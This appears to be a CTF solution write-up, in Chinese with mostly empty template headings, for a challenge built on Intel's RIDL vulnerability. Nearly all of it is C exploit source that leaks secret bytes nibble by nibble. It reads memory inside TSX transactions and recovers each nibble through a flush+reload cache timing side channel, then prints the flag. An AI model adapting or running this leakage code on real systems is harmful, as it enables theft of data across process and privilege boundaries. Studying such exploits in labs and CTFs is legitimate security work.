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题目描述
题目考点
解题思路
riddle 实际上是 intel 的 RIDL 漏洞. 本题是对其漏洞的一个利用. 一个测试的 solution. 对于实际环境应该需要做相应更改.
sc.c
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typedef unsigned long long int uint64_t;
int recover(void *probe, int threshold);
void myputc(char c);
void mfence();
void flush(void *p);
void maccess(void *p);
inline unsigned long flush_reload(const char *adrs);
size_t detect_flush_reload_threshold(void *probe);
void writeint(unsigned int);
void _start(void *probe)
{
register unsigned char bits = 24;
register uint64_t mask = (1 << (bits + 4)) - 1;
register uint64_t known = 'FTC';
register uint64_t addr = 0x10;
int recovered = bits / 8;
for (int i = 0; i < BUFFER_SIZE; i++) {
((char *)probe)[i] = 0;
}
int threshold = detect_flush_reload_threshold(probe);
/* Hard-coded value works better. */
threshold = 100;
writeint(threshold);
/* Read nibble by nibble. */
while (recovered < FLAG_SIZE * 8) {
uint64_t value;
if (_xbegin() == _XBEGIN_STARTED)
{
value = *(uint64_t *)addr;
value &= mask;
value -= known;
value = (value >> bits) | (value << (64 - bits));
maccess(probe + BUCKET_SIZE * value);
_xend();
}
else
{
int nibble = recover(probe, threshold);
if (nibble < 0)
continue;
known |= (nibble << bits);
if (bits == 24) {
mask = (mask << 4) | 0xf;
bits += 4;
} else {
myputc(known >> 24);
known >>= 8;
mask >>= 4;
addr++;
recovered++;
bits = 24;
}
}
}
}
int recover(void *probe, int threshold)
{
int winner = -1;
for (int i = 0; i < BUCKETS; i++) {
unsigned long t = flush_reload((char *)probe + BUCKET_SIZE * i);
if (t < threshold) {
/* If there are two winners, try again. */
if (winner >= 0)
return -1;
winner = i;
}
}
return winner;
}
void myputc(char c)
{
int ret = 0;
volatile char buf[] = { c };
asm volatile(
"movq %1, %%rsi \n\t"
"movq %2, %%rdx \n\t"
"movq $1, %%rax \n\t"
"movq $1, %%rdi \n\t"
"syscall\n\t"
: "=g"(ret)
: "g"(buf), "g" (1)
: "rsi", "rdx", "rax", "rdi"
);
}
void writeint(unsigned int x)
{
myputc(x&0xff);
myputc((x>>8)&0xff);
myputc((x>>16)&0xff);
myputc((x>>24)&0xff);
}
void flush(void *p) { asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); }
// ---------------------------------------------------------------------------
void maccess(void *p) { asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); }
// ---------------------------------------------------------------------------
void mfence() { asm volatile("mfence"); }
uint64_t rdtsc() {
unsigned long long a, d;
asm volatile("mfence");
asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx");
a = (d << 32) | a;
asm volatile("mfence");
return a;
}
__attribute__((always_inline))
inline unsigned long flush_reload(const char *adrs)
{
volatile unsigned long time;
asm __volatile__ (
"mfence \n"
"lfence \n"
"rdtsc \n"
"lfence \n"
"movl %%eax, %%esi \n"
"movl (%1), %%eax \n"
"lfence \n"
"rdtsc \n"
"subl %%esi, %%eax \n"
"clflush 0(%1) \n"
: "=a" (time)
: "c" (adrs)
: "%esi", "%edx");
return time;
}
// ---------------------------------------------------------------------------
int flush_reload_t(void *ptr) {
uint64_t start = 0, end = 0;
start = rdtsc();
maccess(ptr);
end = rdtsc();
mfence();
flush(ptr);
return (int)(end - start);
}
// ---------------------------------------------------------------------------
int reload_t(void *ptr) {
uint64_t start = 0, end = 0;
start = rdtsc();
maccess(ptr);
end = rdtsc();
mfence();
return (int)(end - start);
}
// ---------------------------------------------------------------------------
size_t detect_flush_reload_threshold(void *probe) {
size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000;
size_t *ptr = probe + BUCKET_SIZE * BUCKETS;
maccess(ptr);
for (i = 0; i < count; i++) {
reload_time += reload_t(ptr);
}
for (i = 0; i < count; i++) {
flush_reload_time += flush_reload_t(ptr);
}
reload_time /= count;
flush_reload_time /= count;
writeint(reload_time);
writeint(flush_reload_time);
return (flush_reload_time + reload_time * 5) / 6;
}